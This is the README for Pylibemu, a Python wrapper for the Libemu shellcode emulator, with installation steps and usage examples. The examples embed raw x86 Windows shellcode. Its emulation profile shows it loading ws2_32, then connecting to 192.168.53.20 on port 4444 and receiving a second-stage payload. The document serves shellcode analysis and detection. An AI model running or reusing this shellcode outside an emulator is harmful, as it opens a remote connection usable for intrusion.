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A Libemu Cython wrapper

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buffer/pylibemu

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Pylibemuversion badgedownloads badge

Pylibemu is a wrapper for the Libemu library (https://github.com/buffer/libemu).

Requirements

  • Python 2.5+ or Python 3.6+ (read installation notes)
  • Libemu

Installation (Python 3)

Pylibemu > 0.5.8 does not include Libemu submodule anymore so you are required toinstall Libemu before installing Pylibemu.

To install Libemu, just execute:

$git clone https://github.com/buffer/libemu.git$cd libemu$autoreconf -v -i$./configure$make$sudo make install

Once Libemu is correctly installed, just execute:

$sudo pip install pylibemu

Installation (Python 2)

Pylibemu 0.5.8 is the last version supporting Python 2.

To install Pylibemu, just execute:

$sudo pip install pylibemu==0.5.8

Usage

>>>import pylibemu>>> shellcode=b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d">>> shellcode+=b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34">>> shellcode+=b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0">>> shellcode+=b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9">>> shellcode+=b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c">>> shellcode+=b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c">>> shellcode+=b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32">>> shellcode+=b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53">>> shellcode+=b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02">>> shellcode+=b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6">>> shellcode+=b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3">>> shellcode+=b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50">>> shellcode+=b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6">>> emulator= pylibemu.Emulator()>>> offset= emulator.shellcode_getpc_test(shellcode)>>> offset4>>> emulator.prepare(shellcode, offset)>>> emulator.test()0>>>print emulator.emu_profile_outputHMODULE LoadLibraryA (LPCTSTR lpFileName = 0x0012fe90 =>        = "ws2_32";) = 0x71a10000;int WSAStartup (WORD wVersionRequested = 2;LPWSADATA lpWSAData = 1244272;) =  0;SOCKET WSASocket (int af = 2;int type = 1;int protocol = 0;LPWSAPROTOCOL_INFO lpProtocolInfo = 0;GROUP g = 0;DWORD dwFlags = 0;) =  66;int connect (SOCKET s = 66;struct sockaddr_in * name = 0x0012fe88 =>        struct   = {        short sin_family = 2;        unsigned short sin_port = 23569 (port=4444);        struct in_addr sin_addr = {        unsigned long s_addr = 339060928 (host=192.168.53.20);     };     char sin_zero = "       "; };int namelen = 16;) =  0;int recv (SOCKET s = 66;char * buf = 0x0012fe88 =>         none;int len = 3072;int flags = 0;) =  3072;>>> emulator.emu_profile_truncatedFalse

The new Emulator method 'run' was introduced in Pylibemu 0.1.3 which allows not toworry about details. Moreover the new Emulator attributeoffset allows to get suchinformation if needed.

   >>> emulator = pylibemu.Emulator()   >>> emulator.run(shellcode)   0   >>> emulator.offset   4   >>> print emulator.emu_profile_output   HMODULE LoadLibraryA (    LPCTSTR = 0x01a3f990 =>           = "ws2_32";   ) =  1906376704;   int WSAStartup (   WORD wVersionRequested = 2;   LPWSADATA lpWSAData = 1244272;   ) =  0;   SOCKET WSASocket (   int af = 2;   int type = 1;   int protocol = 0;   LPWSAPROTOCOL_INFO lpProtocolInfo = 0;   GROUP g = 0;   DWORD dwFlags = 0;   ) =  66;   int connect (   SOCKET s = 66;   struct sockaddr_in * name = 0x0012fe88 =>           struct   = {           short sin_family = 2;           unsigned short sin_port = 23569 (port=4444);           struct in_addr sin_addr = {           unsigned long s_addr = 339060928 (host=192.168.53.20);        };        char sin_zero = "       ";    };int namelen = 16;   ) =  0;   int recv (   SOCKET s = 66;   char * = 0x01a40870 =>           none;   int len = 3072;   int flags = 0;   ) =  3072;   >>> emulator.emu_profile_truncated   False

The Emulator accepts the optional parameteroutput_size which defines how much memorywill be reserved for storing the emulation profile dump. By default, its size is 1MB butit be can changed in two possible ways

>>> emulator= pylibemu.Emulator(1024)>>> emulator= pylibemu.Emulator()>>> emulator.set_output_size(1024)

If the reserved memory is not enough to contain the entire dump, the dump will be truncatedand the Emulator attributeemu_profile_truncated will be set to True. This approach isneeded in order not to penalize performances while analyzing some shellcodes which may produceseveral MBs dumps (such as the Metasploit windows/download_exec). If the entire dump is neededa really simple approach could be to check theemu_profile_truncated attribute after theshellcode emulation test, increase the reserved memory through the Emulatorset_output_sizemethod and subsequently run the shellcode emulation test again as shown above.

License information

Copyright (C) 2011-2023 Angelo Dell'Aera <buffer@antifork.org>

License: GNU General Public License, version 2


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